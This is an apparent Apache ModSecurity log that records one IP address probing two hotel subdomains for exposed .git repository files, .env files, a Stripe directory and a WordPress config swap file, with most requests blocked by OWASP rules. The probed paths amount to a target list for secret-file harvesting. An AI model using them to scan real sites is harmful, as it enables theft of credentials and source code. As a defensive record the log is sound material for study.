[Mon Oct 26 08:36:23.966535 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at9JR3T09R7Np-FQ85dj3AAAAAo"]
[Mon Oct 26 08:36:23.968553 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/pack"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at9JR3tuNRyqJbUWH7Jv8wAAAAQ"]
[Mon Oct 26 08:36:23.968678 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at9JR3tuNRyqJbUWH7Jv8wAAAAQ"]
[Mon Oct 26 08:36:23.968938 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at9JR3tuNRyqJbUWH7Jv8wAAAAQ"]
[Mon Oct 26 08:36:23.969106 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at9JRw9c_Zz9LocrxF9erwAAAAU"]
[Mon Oct 26 08:36:23.969261 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at9JRw9c_Zz9LocrxF9erwAAAAU"]
[Mon Oct 26 08:36:23.969498 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at9JRw9c_Zz9LocrxF9erwAAAAU"]
[Mon Oct 26 08:36:23.973291 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at9JR3hYESb98d-GXViKoQAAAAs"]
[Mon Oct 26 08:36:23.973412 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at9JR3hYESb98d-GXViKoQAAAAs"]
[Mon Oct 26 08:36:23.973625 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at9JR3hYESb98d-GXViKoQAAAAs"]
[Mon Oct 26 08:36:23.974677 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at9JR5_dbg3ptBnwDgQ5IwAAAAM"]
[Mon Oct 26 08:36:23.974797 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at9JR5_dbg3ptBnwDgQ5IwAAAAM"]
[Mon Oct 26 08:36:23.975077 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at9JR5_dbg3ptBnwDgQ5IwAAAAM"]
[Mon Oct 26 08:36:24.044137 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at9JSHT09R7Np-FQ85dj3QAAAAo"]
[Mon Oct 26 08:36:24.044313 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at9JSHT09R7Np-FQ85dj3QAAAAo"]
[Mon Oct 26 08:36:24.044554 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at9JSHT09R7Np-FQ85dj3QAAAAo"]
[Mon Oct 26 08:36:24.044595 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at9JSHT09R7Np-FQ85dj3QAAAAo"]
[Mon Oct 26 08:36:24.044618 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at9JSHT09R7Np-FQ85dj3QAAAAo"]
[Mon Oct 26 08:36:24.047955 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at9JSHtuNRyqJbUWH7Jv9AAAAAQ"]
[Mon Oct 26 08:36:24.048101 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at9JSHtuNRyqJbUWH7Jv9AAAAAQ"]
[Mon Oct 26 08:36:24.048325 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at9JSHtuNRyqJbUWH7Jv9AAAAAQ"]
[Mon Oct 26 08:36:24.209580 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at9JSA9c_Zz9LocrxF9esgAAAAU"]
[Mon Oct 26 08:36:24.209781 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at9JSA9c_Zz9LocrxF9esgAAAAU"]
[Mon Oct 26 08:36:24.210137 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at9JSA9c_Zz9LocrxF9esgAAAAU"]
[Mon Oct 26 08:36:24.287174 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at9JSHtuNRyqJbUWH7Jv9wAAAAQ"]
[Mon Oct 26 08:36:24.287467 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at9JSHtuNRyqJbUWH7Jv9wAAAAQ"]
[Mon Oct 26 08:36:24.287942 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at9JSHtuNRyqJbUWH7Jv9wAAAAQ"]
[Mon Oct 26 08:36:24.389161 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles4.sherwinpinturas.com"] [uri "/.stripe/"] [unique_id "at9JSE3DiqOFJPXX6P43sAAAABM"]
[Mon Oct 26 08:36:24.389201 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles4.sherwinpinturas.com"] [uri "/.stripe/"] [unique_id "at9JSE3DiqOFJPXX6P43sAAAABM"]
[Mon Oct 26 08:36:24.647131 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at9JSAsj78QLlrBrm-449gAAAAc"]
[Mon Oct 26 08:36:24.647299 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at9JSAsj78QLlrBrm-449gAAAAc"]
[Mon Oct 26 08:36:24.647538 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at9JSAsj78QLlrBrm-449gAAAAc"]
[Mon Oct 26 08:36:24.654914 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /.wp-config.php.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at9JSBA_yAFS6UHz-l1VUQAAAA0"]
[Mon Oct 26 08:36:24.655079 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at9JSBA_yAFS6UHz-l1VUQAAAA0"]
[Mon Oct 26 08:36:24.655342 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at9JSBA_yAFS6UHz-l1VUQAAAA0"]
[Mon Oct 26 08:36:24.672348 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /.wp-config.php.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at9JSHT09R7Np-FQ85dj5QAAAAo"]
[Mon Oct 26 08:36:24.672513 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at9JSHT09R7Np-FQ85dj5QAAAAo"]
[Mon Oct 26 08:36:24.672739 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.wp-config.php.swp"] [unique_id "at9JSHT09R7Np-FQ85dj5QAAAAo"]
[Mon Oct 26 08:36:24.722449 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at9JSE3DiqOFJPXX6P43tAAAABM"]
[Mon Oct 26 08:36:24.722625 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at9JSE3DiqOFJPXX6P43tAAAABM"]
